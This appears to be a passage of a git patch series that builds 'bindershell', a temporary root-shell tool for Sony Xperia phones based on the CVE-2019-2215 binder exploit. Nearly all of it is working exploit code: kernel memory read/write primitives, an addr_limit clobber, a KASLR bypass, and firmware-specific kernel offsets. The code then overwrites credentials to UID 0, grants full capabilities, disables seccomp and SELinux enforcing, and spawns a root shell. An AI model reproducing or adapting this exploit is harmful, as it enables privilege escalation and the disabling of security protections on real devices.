stable kernel R/W now"); - - if (dump) { - unsigned long start, count; - start = 0xffffffc000000000ul; - count = 0x1000; - - if (argc >= 2) - sscanf(argv[1], "%lx", &start); - - start &= ~7; - - if (argc >= 3) - sscanf(argv[2], "%lx", &count); - unsigned long search = 0; - - int emit = 0; - - if (argc >= 4) - sscanf(argv[3], "%lx", &search); - else - emit = 1; - - unsigned char page[PAGE]; - for (unsigned long i=start; i=PAGE) { - n = PAGE; - } - else { - n = (n+15)/16*16; - } - hexdump_memory(page, n); - } - } - exit(0); - } - - - message("MAIN: searching for cred offset in task_struct"); - unsigned char task_struct_data[PAGE+16]; - kernel_read(task_struct_ptr, task_struct_data, PAGE); - - unsigned long offset_task_struct__cred = getCredOffset(task_struct_data); - - unsigned long cred_ptr = kernel_read_ulong(task_struct_ptr + offset_task_struct__cred); - -#ifdef OFFSET__cred__user_ns - unsigned long search_base = kernel_read_ulong(cred_ptr + OFFSET__cred__user_ns); - if (search_base < 0xffffffc000000000ul || search_base >= 0xffffffd000000000ul) - search_base = 0xffffffc001744b70ul; -#else -#define search_base 0xffffffc000000000ul -#endif - - message("MAIN: search_base = %lx", search_base); - - message("MAIN: searching for selinux_enforcing"); - unsigned long selinux_enforcing = find_selinux_enforcing(search_base); - -// unsigned long selinux_enabled = findSymbol(search_base, "selinux_enabled"); - - unsigned int oldUID = getuid(); - - message("MAIN: setting root credentials with cred offset %lx", offset_task_struct__cred); - - for (int i = 0; i < 8; i++) - kernel_write_uint(cred_ptr + OFFSET__cred__uid + i * 4, 0); - - if (getuid() != 0) - error( "changing UIDs to 0"); - - message("MAIN: UID = 0"); - message("MAIN: enabling capabilities"); - - // reset securebits - kernel_write_uint(cred_ptr + OFFSET__cred__securebits, 0); - - kernel_write_ulong(cred_ptr+OFFSET__cred__cap_inheritable, 0x3fffffffffUL); - kernel_write_ulong(cred_ptr + OFFSET__cred__cap_permitted, 0x3fffffffffUL); - kernel_write_ulong(cred_ptr + OFFSET__cred__cap_effective, 0x3fffffffffUL); - kernel_write_ulong(cred_ptr + OFFSET__cred__cap_bset, 0x3fffffffffUL); - kernel_write_ulong(cred_ptr+OFFSET__cred__cap_ambient, 0x3fffffffffUL); - - int seccompStatus = prctl(PR_GET_SECCOMP); - message("MAIN: SECCOMP status %d", seccompStatus); - if (seccompStatus) - { - message("MAIN: disabling SECCOMP"); - kernel_write_ulong(thread_info_ptr + OFFSET__thread_info__flags, 0); - // TODO: search for seccomp offset - int offset__task_struct__seccomp = getSeccompOffset(task_struct_data, offset_task_struct__cred, seccompStatus); - if (offset__task_struct__seccomp < 0) - message("MAIN: **FAIL** cannot find seccomp offset"); - else { - message("MAIN: seccomp offset %lx", offset__task_struct__seccomp); - kernel_write_ulong(task_struct_ptr + offset__task_struct__seccomp, 0); - kernel_write_ulong(task_struct_ptr + offset__task_struct__seccomp + 8, 0); - message("MAIN: SECCOMP status %d", prctl(PR_GET_SECCOMP)); - } - } - - unsigned prev_selinux_enforcing = 1; - - if (selinux_enforcing == 0) - message("MAIN: **FAIL** did not find selinux_enforcing symbol"); - else - { - prev_selinux_enforcing = kernel_read_uint(selinux_enforcing); - kernel_write_uint(selinux_enforcing, 0); - message("MAIN: disabled selinux enforcing"); - - cacheSymbol("selinux_enforcing", selinux_enforcing); - } - - if (rejoinNS) { - char cwd[1024]; - getcwd(cwd, sizeof(cwd)); - - message("MAIN: re-joining init mount namespace"); - int fd = open("/proc/1/ns/mnt", O_RDONLY); - - if (fd < 0) { - error("open"); - exit(1); - } - - if (setns(fd, CLONE_NEWNS) < 0) { - message("MAIN: **partial failure** could not rejoin init fs namespace"); - } - - message("MAIN: rejoining init net namespace"); - - fd = open("/proc/1/ns/net", O_RDONLY); - - if (fd < 0) { - error("open"); - } - - if (setns(fd, CLONE_NEWNET) < 0) { - message("MAIN: **partial failure** could not rejoin init net namespace"); - } - - chdir(cwd); - } - - if (!checkWhitelist(oldUID)) { - if (0 != selinux_enforcing) { - kernel_write_uint(selinux_enforcing, prev_selinux_enforcing); - } - errno = 0; - error("Whitelist check failed"); - } - - message("MAIN: root privileges ready"); - -/* process hangs if these are done */ -// unsigned long security_ptr = kernel_read_ulong(cred_ptr + OFFSET__cred__security); -// kernel_write_uint(security_ptr, 1310); -// kernel_write_uint(security_ptr+4, 1310); -// for (int i=0; i<6; i++) -// message("SID %u : ", kernel_read_uint(security_ptr + 4 * i)); - - if (command || argc == 2) { - execlp("sh", "sh", "-c", argv[1], (char *)0); - } - else { - message("MAIN: popping out root shell"); - execlp("sh", "sh", (char*)0); - } - - exit(0); + return 0; } From c8e0ade4477ae9d609851955f1f75304e305c166 Mon Sep 17 00:00:00 2001 From: j4nn <531585+j4nn@users.noreply.github.com> Date: Tue, 4 Feb 2020 22:34:49 +0100 Subject: [PATCH 04/14] add su98.c into the build --- jni/Android.mk | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/jni/Android.mk b/jni/Android.mk index 3933988..6f298f2 100644 --- a/jni/Android.mk +++ b/jni/Android.mk @@ -7,6 +7,6 @@ LOCAL_CFLAGS := -O2 -DNDEBUG -D_GNU_SOURCE LOCAL_C_INCLUDES := $(LOCAL_PATH)/include/ LOCAL_MODULE := bindershell -LOCAL_SRC_FILES := main.c getroot.c flex_array.c sid.c offsets.c client.c +LOCAL_SRC_FILES := main.c getroot.c flex_array.c sid.c offsets.c client.c su98.c include $(BUILD_EXECUTABLE) From 5fb4895c393ba77d15e34ba9cdc1cb7470904f4e Mon Sep 17 00:00:00 2001 From: j4nn <531585+j4nn@users.noreply.github.com> Date: Tue, 4 Feb 2020 22:54:29 +0100 Subject: [PATCH 05/14] replace remote calls with primitives from su98 --- jni/client.c | 146 ++------------------------------------------------- jni/client.h | 4 -- 2 files changed, 4 insertions(+), 146 deletions(-) diff --git a/jni/client.c b/jni/client.c index a09af63..83deea9 100644 --- a/jni/client.c +++ b/jni/client.c @@ -11,154 +11,16 @@ #define PAGE_SIZE 4096 #endif -int run_server_command(int port, int cmd, uint64_t addr, int size, void *buff) -{ - int fd, ret, status; - uint8_t *buffer = buff; - unsigned offs; - struct sockaddr_in saddr; - struct t_cmd tc; - - if (size > PAGE_SIZE) - return -1; - - fd = socket(AF_INET, SOCK_STREAM, 0); - if (fd < 0) { - PRNO("socket"); - return -1; - } - - memset(&saddr, 0, sizeof(saddr)); - saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); - saddr.sin_family = AF_INET; - saddr.sin_port = htons(port); - if (connect(fd, (struct sockaddr *)&saddr, sizeof(saddr)) < 0) { - PRNO("connect"); - close(fd); - return -1; - } - - PDBG("connected to cmd server, sending cmd=%d addr=0x%016zx size=%d\n", cmd, addr, size); - - tc.cmd = cmd; - tc.addr = addr; - tc.size = size; - - ret = write(fd, &tc, sizeof(tc)); - if (ret < 0) { - PRNO("client cmd write"); - close(fd); - return -1; - } else if (ret < (int)sizeof(ret)) { - PERR("client cmd write %d bytes instead of %d expected\n", ret, (int)sizeof(tc)); - close(fd); - return -1; - } - - status = 0; - - switch (cmd) { - case CMD_QUIT: - break; - - case CMD_READ: - case CMD_GET_TASKP: - case CMD_GET_KASLR: - ret = read(fd, &status, sizeof(status)); - if (ret < 0) { - PRNO("client krd cmd status read"); - close(fd); - return -1; - } else if (ret < (int)sizeof(status)) { - PERR("client krd cmd status read %d bytes instead of %d expected\n", ret, (int)sizeof(status)); - close(fd); - return -1; - } - if (size != status) { - PERR("client krd read status=%d expected %d\n", status, size); - if (status < 1) { - close(fd); - return status; - } - size = status; - } - offs = 0; - do { - ret = read(fd, buffer + offs, size - offs); - if (ret < 0) { - PRNO("client read data"); - break; - } else if (ret == 0) { - PERR("client read data got 0 number of bytes\n"); - break; - } - offs += ret; - } while ((int)offs < size); - if ((int)offs < size) { - PERR("client read %d bytes instead of %u expected\n", offs, size); - close(fd); - return offs > 0 ? offs : -1; - } - PDBG("client read %u bytes from 0x%016zx kernel addr\n", size, addr); - break; - - case CMD_WRITE: - ret = write(fd, buffer, size); - if (ret < 0) { - PRNO("client write data"); - close(fd); - return -1; - } else if (ret < size) { - PERR("client write data %d bytes instead of %d expected\n", ret, size); - close(fd); - return -1; - } - ret = read(fd, &status, sizeof(status)); - if (ret < 0) { - PRNO("client kwr cmd status read"); - close(fd); - return -1; - } else if (ret < (int)sizeof(status)) { - PERR("client kwr cmd status read %d bytes instead of %d expected\n", ret, (int)sizeof(status)); - close(fd); - return -1; - } - if (size != status) { - PERR("client kwr read status=%d expected %d\n", status, size); - if (status < 1) { - close(fd); - return status; - } - } - PDBG("client wrote %u bytes to 0x%016zx kernel addr\n", status, addr); - break; - }; - - close(fd); - return status; -} +int raw_kernel_write(unsigned long kaddr, void *buf, unsigned long len); +int raw_kernel_read(unsigned long kaddr, void *buf, unsigned long len); int client_arbitrary_read(uint64_t addr, int size, void *buffer) { - return run_server_command(CMD_SERVER_PORT, CMD_READ, addr, size, buffer) == size ? 0 : -1; + return raw_kernel_read(addr, buffer, size) == size ? 0 : -1; } int client_arbitrary_write(uint64_t addr, int size, void *buffer) { - return run_server_command(CMD_SERVER_PORT, CMD_WRITE, addr, size, buffer) == size ? 0 : -1; -} - -int client_curr_get_task_struct_p(uint64_t *addr) -{ - return run_server_command(CMD_SERVER_PORT, CMD_GET_TASKP, 0, sizeof(*addr), addr) == sizeof(*addr) ? 0 : -1; + return raw_kernel_write(addr, buffer, size) == size ? 0 : -1; } -int client_curr_get_kaslr(uint64_t *addr) -{ - return run_server_command(CMD_SERVER_PORT, CMD_GET_KASLR, 0, sizeof(addr), addr) == 8 ? 0 : -1; -} - -void client_report_uid(int uid) -{ - run_server_command(CMD_SERVER_PORT, CMD_REPORT_UID, uid, 0, NULL); -} diff --git a/jni/client.h b/jni/client.h index e510055..2d74138 100644 --- a/jni/client.h +++ b/jni/client.h @@ -4,8 +4,4 @@ int client_arbitrary_read(uint64_t addr, int size, void *buffer); int client_arbitrary_write(uint64_t addr, int size, void *buffer); -int client_curr_get_task_struct_p(uint64_t *addr); -int client_curr_get_kaslr(uint64_t *addr); -void client_report_uid(int uid); - #endif From eb4f8ac69b37998083cdbaab50b3f974634efb43 Mon Sep 17 00:00:00 2001 From: j4nn <531585+j4nn@users.noreply.github.com> Date: Tue, 4 Feb 2020 23:22:43 +0100 Subject: [PATCH 06/14] remove process list walking and use su98 to get current task addr --- jni/main.c | 76 ++++++++---------------------------------------------- jni/su98.c | 5 +++- 2 files changed, 15 insertions(+), 66 deletions(-) diff --git a/jni/main.c b/jni/main.c index 2f9be6e..48a9af7 100644 --- a/jni/main.c +++ b/jni/main.c @@ -26,71 +26,16 @@ #include "debug.h" uint64_t opt_kaslr_slide; -const char *my_task_name; -#define TASK_STRUCT_NEXT_OFFSET 0x0478 -#define TASK_STRUCT_PID_OFFSET 0x0570 -#define TASK_STRUCT_TSP_OFFSET 0x06e0 - -int get_my_task_struct_p(struct offsets *o, void **ptask) -{ - int ret; - int tsp_offset; - struct task_struct_partial *__kernel t; - struct task_struct_partial tsp; - void *__kernel task = o->init_task; - void *__kernel next; - pid_t my_pid, pid; - - ret = -1; - my_pid = getpid(); - tsp_offset = get_task_struct_partial_offset(task); - if (tsp_offset < 0) - return ret; - do { - if(read_at_address_pipe(task + TASK_STRUCT_PID_OFFSET, &pid, sizeof(pid))) - break; - t = (struct task_struct_partial *)(task + tsp_offset); - if(read_at_address_pipe(t, &tsp, sizeof(tsp))) - break; - if (strcmp(tsp.comm, my_task_name) == 0 && my_pid == pid) { - ret = 0; - *ptask = task; - break; - } - if(read_at_address_pipe(task + TASK_STRUCT_NEXT_OFFSET, &next, sizeof(next))) - break; - task = next - TASK_STRUCT_NEXT_OFFSET; - } while (ret < 0 && task != o->init_task); - - return ret; -} - -int getroot(struct offsets* o) +int getroot(struct offsets* o, uint64_t current_task_addr) { int ret = 1; - void * __kernel task; - int tsp_offset; + void * __kernel task = (void *)current_task_addr; int zero = 0; sidtab = o->sidtab; policydb = o->policydb; - task = NULL; - - if (client_curr_get_task_struct_p((uint64_t *)&task) < 0) - return ret; - tsp_offset = get_task_struct_partial_offset(task); - if (tsp_offset < 0) - return ret; - - if (tsp_offset != TASK_STRUCT_TSP_OFFSET) - PNFO("tsp_offset=0x%04x\n", tsp_offset); - - if (get_my_task_struct_p(o, &task) < 0) - return ret; - PNFO("task_struct %p\n", task); - if(o->selinux_enforcing) write_at_address_pipe(o->selinux_enforcing, &zero, sizeof(zero)); @@ -110,22 +55,24 @@ void reenable_selinux(struct offsets* o) write_at_address_pipe(o->selinux_enforcing, &one, sizeof(one)); } +int cve_2019_2215_0x98(uint64_t *current_task_addr); + int main(int argc, char **argv) { int ret = 1; struct offsets* o; int uid; + uint64_t current_task_addr; PNFO("\nbindershell - temp root shell for xperia XZ1c/XZ1/XZp using CVE-2019-2215\n"); PNFO("https://github.com/j4nn/renoshell/tree/CVE-2019-2215\n\n"); - my_task_name = strrchr(argv[0], '/'); - if (my_task_name != NULL) - my_task_name++; - else - my_task_name = argv[0]; + if (cve_2019_2215_0x98(¤t_task_addr) != 0) { + PERR("cve_2019_2215_0x98() failed\n"); + return 1; + } - if (client_curr_get_kaslr(&opt_kaslr_slide) == 0) + //if (client_curr_get_kaslr(&opt_kaslr_slide) == 0) PNFO("kaslr slide 0x%zx\n", opt_kaslr_slide); if(!(o = get_offsets(opt_kaslr_slide))) @@ -137,12 +84,11 @@ int main(int argc, char **argv) return 0; } - ret = getroot(o); + ret = getroot(o, current_task_addr); if (ret) return ret; uid = getuid(); - client_report_uid(uid); if (uid == 0) { pid_t pid; diff --git a/jni/su98.c b/jni/su98.c index ffb6896..d322442 100644 --- a/jni/su98.c +++ b/jni/su98.c @@ -521,8 +521,9 @@ unsigned long find_thread_info_ptr_kernel3(unsigned long kstack) { return 0; } -int cve_2019_2215_0x98(void) +int cve_2019_2215_0x98(uint64_t *current_task_addr) { + *current_task_addr = 0; message("MAIN: starting exploit for devices with waitqueue at 0x98"); if (pipe(kernel_rw_pipe)) @@ -538,6 +539,8 @@ int cve_2019_2215_0x98(void) error("Failed to leak data"); } + *current_task_addr = task_struct_ptr; + unsigned long thread_info_ptr; if (task_struct_plus_8 == USER_DS) { From 5db92b312891281d53d41d22fbb3fddec3def28b Mon Sep 17 00:00:00 2001 From: j4nn <531585+j4nn@users.noreply.github.com> Date: Wed, 5 Feb 2020 23:53:14 +0100 Subject: [PATCH 07/14] update the readme --- README.md | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index 14ba702..dcb4fca 100644 --- a/README.md +++ b/README.md @@ -1,9 +1,7 @@ -# renoshell - rename/notify temp root shell +# bindershell - temp root shell using CVE-2019-2215 for sony xperia xz1/xz1c/xzp phones -A get root shell tool using remote arbitrary kernel space read and write api, -which needs to be provided by another tool with an actual kernel exploit. This is forked from [iovyroot by dosomder](https://github.com/dosomder/iovyroot.git), -replacing dependency on a specific vulnerability with a remote arbitrary -kernel space read/write primitives. -The code was debugged, fixed and adapted to be compatible with 4.4.74 kernel -from xperia xz1c 47.1.A.2.324 android oreo firmware (includes selinux bypass). +replacing the kernel space read/write primitives with those from CVE-2019-2215 su98.c exploit. +The original su98.c did not properly patch security->sid and security->osid and did not include KASLR bypass. +To get the sid and osid patching, it was easier to port just the primitives from su98 here. +This code is compatible with several oreo firmwares of xperia xz1/xz1c/xzp phones (yoshino platform). From 68f522bee85e8e40aa8f83cb8da4f07b6ecb2999 Mon Sep 17 00:00:00 2001 From: j4nn <531585+j4nn@users.noreply.github.com> Date: Thu, 6 Feb 2020 20:37:51 +0100 Subject: [PATCH 08/14] switch verbosity of some log messages and few more to final stage --- jni/main.c | 14 ++++++++--- jni/su98.c | 68 ++++++++++++++++++++++-------------------------------- 2 files changed, 38 insertions(+), 44 deletions(-) diff --git a/jni/main.c b/jni/main.c index 48a9af7..e8faa2f 100644 --- a/jni/main.c +++ b/jni/main.c @@ -36,12 +36,20 @@ int getroot(struct offsets* o, uint64_t current_task_addr) sidtab = o->sidtab; policydb = o->policydb; - if(o->selinux_enforcing) - write_at_address_pipe(o->selinux_enforcing, &zero, sizeof(zero)); + if(o->selinux_enforcing) { + ret = write_at_address_pipe(o->selinux_enforcing, &zero, sizeof(zero)); + if (ret == 0) + PNFO("selinux set to permissive\n"); + else + PERR("failed to set selinux permissive\n"); + } - if((ret = modify_task_cred_uc(task))) + if((ret = modify_task_cred_uc(task))) { + PERR("failed to modify current task credentials\n"); goto end; + } + PNFO("current task credentials patched\n"); ret = 0; end: return ret; diff --git a/jni/su98.c b/jni/su98.c index d322442..6b0d112 100644 --- a/jni/su98.c +++ b/jni/su98.c @@ -48,6 +48,8 @@ #include #include +#include "debug.h" + #define MAX_PACKAGE_NAME 1024 #define MIN(x, y) ((x) < (y) ? (x) : (y)) @@ -63,24 +65,9 @@ #define PAGE 0x1000ul #define TASK_STRUCT_OFFSET_FROM_TASK_LIST 0xE8 -void message(char *fmt, ...) -{ - va_list ap; - va_start(ap, fmt); - vprintf(fmt, ap); - va_end(ap); - putchar('\n'); -} - -void error(char* fmt, ...) -{ - va_list ap; - va_start(ap, fmt); - vfprintf(stderr, fmt, ap); - va_end(ap); - fprintf(stderr, ": %s\n", errno ? strerror(errno) : "error"); - exit(1); -} +#define message(fmt, args...) PDBG(fmt "\n", ##args) +#define info(fmt, args...) PNFO(fmt "\n", ##args) +#define error(fmt, args...) PERR(fmt "\n", ##args) int isKernelPointer(unsigned long p) { return p >= KERNEL_BASE && p<=0xFFFFFFFFFFFFFFFEul; @@ -207,7 +194,7 @@ int clobber_data(unsigned long payloadAddress, const void *src, unsigned long pa message("PARENT: readv returns %d, expected %d", b, totalLength); if (testDatum != testValue) - message( "PARENT: **fail** clobber value doesn't match: is %lx but should be %lx", testDatum, testValue); + info( "PARENT: **fail** clobber value doesn't match: is %lx but should be %lx", testDatum, testValue); else message("PARENT: clobbering test passed"); @@ -325,7 +312,7 @@ int leak_data(void *leakBuffer, int leakAmount, if (clobber_data(addr, &extra, sizeof(extra))) message("CHILD: clobbered"); else { - message("CHILD: **fail** iovec clobbering didn't work"); + info("CHILD: **fail** iovec clobbering didn't work"); childSuccess = 0; } } @@ -365,7 +352,7 @@ int leak_data(void *leakBuffer, int leakAmount, if (badPointer) { errno = 0; - message("CHILD: **fail** problematic address pointer, e.g., %lx", addr); + info("CHILD: **fail** problematic address pointer, e.g., %lx", addr); } exit(0); } @@ -375,16 +362,16 @@ int leak_data(void *leakBuffer, int leakAmount, b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ); message("PARENT: writev() returns 0x%x", (unsigned int)b); if (b != totalLength) { - message( "PARENT: **fail** writev() returned wrong value: needed 0x%lx", totalLength); + info( "PARENT: **fail** writev() returned wrong value: needed 0x%lx", totalLength); success = 0; goto DONE; } - message("PARENT: Reading leaked data"); + info("PARENT: Reading leaked data"); b = read(leakPipe[0], dataBuffer, adjLeakAmount); if (b != adjLeakAmount) { - message( "PARENT: **fail** reading leak: read 0x%x needed 0x%lx", b, adjLeakAmount); + info( "PARENT: **fail** reading leak: read 0x%x needed 0x%lx", b, adjLeakAmount); success = 0; goto DONE; } @@ -394,10 +381,10 @@ int leak_data(void *leakBuffer, int leakAmount, if (extraLeakAmount != 0) { - message("PARENT: Reading extra leaked data"); + info("PARENT: Reading extra leaked data"); b = read(leakPipe[0], extraLeakBuffer, extraLeakAmount); if (b != extraLeakAmount) { - message( "PARENT: **fail** reading extra leak: read 0x%x needed 0x%lx", b, extraLeakAmount); + info( "PARENT: **fail** reading extra leak: read 0x%x needed 0x%x", b, extraLeakAmount); success = 0; goto DONE; } @@ -406,7 +393,7 @@ int leak_data(void *leakBuffer, int leakAmount, if (task_struct_plus_8_p != NULL) { if (read(leakPipe[0], task_struct_plus_8_p, 8) != 8) { - message( "PARENT: **fail** reading leaked task_struct at offset 8"); + info( "PARENT: **fail** reading leaked task_struct at offset 8"); success = 0; goto DONE; } @@ -435,7 +422,7 @@ int leak_data(void *leakBuffer, int leakAmount, free(dataBuffer); if (success) - message("PARENT: leaking successful"); + info("PARENT: leaking successful"); return success; } @@ -445,22 +432,22 @@ int leak_data_retry(void *leakBuffer, int leakAmount, unsigned long *task_struct_ptr_p, unsigned long *task_struct_plus_8_p) { int try = 0; while (try < RETRIES && !leak_data(leakBuffer, leakAmount, extraLeakAddress, extraLeakBuffer, extraLeakAmount, task_struct_ptr_p, task_struct_plus_8_p)) { - message("MAIN: **fail** retrying"); + info("MAIN: **fail** retrying"); try++; } if (0 < try && try < RETRIES) - message("MAIN: it took %d tries, but succeeded", try); + info("MAIN: it took %d tries, but succeeded", try); return try < RETRIES; } int clobber_data_retry(unsigned long payloadAddress, const void *src, unsigned long payloadLength) { int try = 0; while (try < RETRIES && !clobber_data(payloadAddress, src, payloadLength)) { - message("MAIN: **fail** retrying"); + info("MAIN: **fail** retrying"); try++; } if (0 < try && try < RETRIES) - message("MAIN: it took %d tries, but succeeded", try); + info("MAIN: it took %d tries, but succeeded", try); return try < RETRIES; } @@ -510,7 +497,7 @@ int raw_kernel_read(unsigned long kaddr, void *buf, unsigned long len) unsigned long find_thread_info_ptr_kernel3(unsigned long kstack) { unsigned long kstack_data[16384/8]; - message("MAIN: parsing kernel stack to find thread_info"); + info("MAIN: parsing kernel stack to find thread_info"); if (!leak_data_retry(NULL, 0, kstack, kstack_data, sizeof(kstack_data), NULL, NULL)) error("Cannot leak kernel stack"); @@ -524,7 +511,7 @@ unsigned long find_thread_info_ptr_kernel3(unsigned long kstack) { int cve_2019_2215_0x98(uint64_t *current_task_addr) { *current_task_addr = 0; - message("MAIN: starting exploit for devices with waitqueue at 0x98"); + info("MAIN: starting exploit for devices with waitqueue at 0x98"); if (pipe(kernel_rw_pipe)) error( "kernel_rw_pipe"); @@ -544,27 +531,26 @@ int cve_2019_2215_0x98(uint64_t *current_task_addr) unsigned long thread_info_ptr; if (task_struct_plus_8 == USER_DS) { - message("MAIN: thread_info is in task_struct"); + info("MAIN: thread_info is in task_struct"); thread_info_ptr = task_struct_ptr; } else { - message("MAIN: thread_info should be in stack"); + info("MAIN: thread_info should be in stack"); thread_info_ptr = find_thread_info_ptr_kernel3(task_struct_plus_8); if (thread_info_ptr == 0) error("cannot find thread_info on kernel stack"); } - message("MAIN: task_struct_ptr = %lx", (unsigned long)task_struct_ptr); - message("MAIN: thread_info_ptr = %lx", (unsigned long)thread_info_ptr); - message("MAIN: Clobbering addr_limit"); + info("MAIN: task_struct_ptr = %lx", (unsigned long)task_struct_ptr); + info("MAIN: thread_info_ptr = %lx", (unsigned long)thread_info_ptr); + info("MAIN: Clobbering addr_limit"); unsigned long const src = 0xFFFFFFFFFFFFFFFEul; if (!clobber_data_retry(thread_info_ptr + 8, &src, 8)) { error("Failed to clobber addr_limit"); } - message("MAIN: thread_info = 0x%lx", thread_info_ptr); - message("MAIN: should have stable kernel R/W now"); + info("MAIN: should have stable kernel R/W now"); return 0; } From faf3ecbf9c85659bf372e0db9866d1e346bc4abd Mon Sep 17 00:00:00 2001 From: j4nn <531585+j4nn@users.noreply.github.com> Date: Thu, 6 Feb 2020 21:03:37 +0100 Subject: [PATCH 09/14] CVE-2019-2215 based root shell for yoshino phones kaslr bypass using init_user_ns also update offsets.c to have init_user_ns there and add entries for phones with 47.1.A.16.20 firmware --- jni/include/offsets.h | 2 +- jni/main.c | 22 ++++++++++++++++++++-- jni/offsets.c | 30 +++++++++++++++++++++++------- 3 files changed, 44 insertions(+), 10 deletions(-) diff --git a/jni/include/offsets.h b/jni/include/offsets.h index 531b368..f2f2bb8 100644 --- a/jni/include/offsets.h +++ b/jni/include/offsets.h @@ -5,9 +5,9 @@ struct offsets { char *targetid; // model_fwversion void* sidtab; // for selinux contenxt void* policydb; // for selinux context - void* selinux_enabled; void* selinux_enforcing; void *init_task; + void *init_user_ns; }; struct offsets* get_offsets(); diff --git a/jni/main.c b/jni/main.c index e8faa2f..5d5d5bd 100644 --- a/jni/main.c +++ b/jni/main.c @@ -25,6 +25,9 @@ #include "client.h" #include "debug.h" +#define TASK_STRUCT_MM_OFFSET 1224 +#define MM_STRUCT_USER_NS_OFFSET 752 + uint64_t opt_kaslr_slide; int getroot(struct offsets* o, uint64_t current_task_addr) @@ -71,6 +74,7 @@ int main(int argc, char **argv) struct offsets* o; int uid; uint64_t current_task_addr; + uint64_t addr; PNFO("\nbindershell - temp root shell for xperia XZ1c/XZ1/XZp using CVE-2019-2215\n"); PNFO("https://github.com/j4nn/renoshell/tree/CVE-2019-2215\n\n"); @@ -80,8 +84,22 @@ int main(int argc, char **argv) return 1; } - //if (client_curr_get_kaslr(&opt_kaslr_slide) == 0) - PNFO("kaslr slide 0x%zx\n", opt_kaslr_slide); + if(!(o = get_offsets(0))) + return 1; + + ret = read_at_address_pipe((void *)(current_task_addr + TASK_STRUCT_MM_OFFSET), &addr, sizeof(addr)); + if (ret == 0) { + ret = read_at_address_pipe((void *)(addr + MM_STRUCT_USER_NS_OFFSET), &addr, sizeof(addr)); + if (ret == 0) { + addr -= (uint64_t)o->init_user_ns; + if (addr & 0xffful) { + PERR("kernel slide invalid (0x%zx)\n", addr); + } else + opt_kaslr_slide = addr; + } + } + + PNFO("kaslr slide 0x%zx\n", opt_kaslr_slide); if(!(o = get_offsets(opt_kaslr_slide))) return 1; diff --git a/jni/offsets.c b/jni/offsets.c index 99cecc7..722dea1 100644 --- a/jni/offsets.c +++ b/jni/offsets.c @@ -13,22 +13,38 @@ struct offsets offsets[] = { // XZ1 Compact { "G8441_47.1.A.2.324", - (void *)0xffffff800a8f84a0, (void *)0xffffff800a8f82b0, (void *)0xffffff800a655628, (void *)0xffffff800a8f4df4, (void *)0xffffff800a614490 }, + (void *)0xffffff800a8f84a0, (void *)0xffffff800a8f82b0, (void *)0xffffff800a8f4df4, (void *)0xffffff800a614490, (void *)0xffffff800a61de90 }, // XZ1 Compact { "G8441_47.1.A.8.49", - (void *)0xffffff800a903460, (void *)0xffffff800a903270, (void *)0xffffff800a6550a8, (void *)0xffffff800a8ffdb4, (void *)0xffffff800a614490 }, + (void *)0xffffff800a903460, (void *)0xffffff800a903270, (void *)0xffffff800a8ffdb4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, // XZ1 { "G8341_47.1.A.2.324", - (void *)0xffffff800a8f84a0, (void *)0xffffff800a8f82b0, (void *)0xffffff800a655628, (void *)0xffffff800a8f4df4, (void *)0xffffff800a614490 }, + (void *)0xffffff800a8f84a0, (void *)0xffffff800a8f82b0, (void *)0xffffff800a8f4df4, (void *)0xffffff800a614490, (void *)0xffffff800a61de90 }, // XZ1 dual { "G8342_47.1.A.2.281", - (void *)0xffffff800a8f84a0, (void *)0xffffff800a8f82b0, (void *)0xffffff800a655628, (void *)0xffffff800a8f4df4, (void *)0xffffff800a614490 }, + (void *)0xffffff800a8f84a0, (void *)0xffffff800a8f82b0, (void *)0xffffff800a8f4df4, (void *)0xffffff800a614490, (void *)0xffffff800a61de90 }, // XZ Premium { "G8141_47.1.A.3.254", - (void *)0xffffff800a901460, (void *)0xffffff800a901270, (void *)0xffffff800a6550a8, (void *)0xffffff800a8fddb4, (void *)0xffffff800a614490 }, + (void *)0xffffff800a901460, (void *)0xffffff800a901270, (void *)0xffffff800a8fddb4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, // XZ Premium dual { "G8142_47.1.A.3.254", - (void *)0xffffff800a901460, (void *)0xffffff800a901270, (void *)0xffffff800a6550a8, (void *)0xffffff800a8fddb4, (void *)0xffffff800a614490 }, + (void *)0xffffff800a901460, (void *)0xffffff800a901270, (void *)0xffffff800a8fddb4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, + + // XZ1 Compact + { "G8441_47.1.A.16.20", + (void *)0xffffff800a903460, (void *)0xffffff800a903270, (void *)0xffffff800a8ffdb4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, + // XZ1 + { "G8341_47.1.A.16.20", + (void *)0xffffff800a903460, (void *)0xffffff800a903270, (void *)0xffffff800a8ffdb4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, + // XZ1 dual + { "G8342_47.1.A.16.20", + (void *)0xffffff800a903460, (void *)0xffffff800a903270, (void *)0xffffff800a8ffdb4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, + // XZ Premium + { "G8141_47.1.A.16.20", + (void *)0xffffff800a903460, (void *)0xffffff800a903270, (void *)0xffffff800a8ffdb4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, + // XZ Premium dual + { "G8142_47.1.A.16.20", + (void *)0xffffff800a903460, (void *)0xffffff800a903270, (void *)0xffffff800a8ffdb4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, }; static int get_targetid(char *id, int idsize) @@ -80,9 +96,9 @@ struct offsets* get_offsets(uint64_t kaslr_slide) o->sidtab += kaslr_slide; o->policydb += kaslr_slide; - o->selinux_enabled += kaslr_slide; o->selinux_enforcing += kaslr_slide; o->init_task += kaslr_slide; + o->init_user_ns += kaslr_slide; return o; } From 4f6befea0402fa3b0adad78c1feccb58c252fc26 Mon Sep 17 00:00:00 2001 From: j4nn <531585+j4nn@users.noreply.github.com> Date: Fri, 7 Feb 2020 01:04:29 +0100 Subject: [PATCH 10/14] disable most likely not working targets tried to test G8441_47.1.A.2.324, it did not work, would most likely need some changes in structure offsets, not worth to debug/analyse further as it works with 16.20 fw --- jni/offsets.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/jni/offsets.c b/jni/offsets.c index 722dea1..fc1c19f 100644 --- a/jni/offsets.c +++ b/jni/offsets.c @@ -12,11 +12,13 @@ struct offsets offsets[] = { // XZ1 Compact - { 